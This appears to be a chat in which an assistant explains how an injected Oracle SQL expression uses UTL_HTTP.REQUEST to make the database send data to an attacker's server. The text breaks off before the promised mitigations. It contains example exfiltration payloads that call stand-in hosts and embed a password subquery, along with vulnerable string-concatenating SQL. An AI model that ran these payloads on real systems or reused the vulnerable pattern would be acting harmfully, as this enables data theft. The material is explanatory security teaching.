SELECT TRANSLATE('** " UTL_HTTP.REQUEST('http://malicious-site.com/')  
"', 'abc', '123') FROM dual;
```

This could send stolen data to an external server.

how ???

Good question — let's unpack **how that injected SQL can cause data to be sent to an attacker's server**. I'll explain the mechanics step-by-step in plain language and then list practical mitigations.

Short answer

If the database executes the injected expression, the call to

```
UTL_HTTP.REQUEST('http://malicious-site.com/...')
```

 runs **on the database**

server and makes an HTTP request to the attacker's server. The attacker can cause the database to include sensitive values (like passwords or query results) in that request (for example, in the URL query string). The attacker's server simply logs the incoming request and thereby captures the data.

How it works (step-by-step)

1. Vulnerable code concatenates user input into SQL.

Example pattern (simplified):

```
sql := "SELECT TRANSLATE('" || user_input || "',  
'abc', '123') FROM dual";  
EXECUTE IMMEDIATE sql;
```

Because `user_input` is inserted directly into the SQL text, an attacker can include SQL syntax in it.

2. Attacker crafts input containing a function call.

The attacker's input includes something like:

```
' || UTL_HTTP.REQUEST('http://attacker.example/?data=' || some_value) ||  
,
```

When pasted into the SQL above, the database ends up executing:

```
SELECT TRANSLATE(' ' || UTL_HTTP.REQUEST('http://at  
tacker.example/?data=' || some_value) || ' ', 'ab  
c', '123') FROM dual;
```

3. Database evaluates the expression.

- `TRANSLATE(...)` will evaluate its argument; to do that the DB must evaluate the concatenation expression.
- That triggers `UTL_HTTP.REQUEST(...)` **inside the database process**.

4. `UTL_HTTP.REQUEST` makes an HTTP call to the attacker's URL.

- The URL can include concatenated values from the database, e.g. `...?pw= || (SELECT password FROM users WHERE username='bob')`
- The database sends an HTTP GET (or POST) to the attacker's server and includes the concatenated data in the request.

5. Attacker collects the data.

- The attacker controls `attacker.example` and logs incoming requests (URL, parameters, headers, body).
- Sensitive data embedded in the URL or request body is now exfiltrated.

6. Why `TRANSLATE` or similar wrapping appears in the example:

- Wrapping the malicious call inside a harmless-looking function (like `TRANSLATE`) can help hide the injection in code reviews or bypass naive filters — but it still forces evaluation of the malicious function.

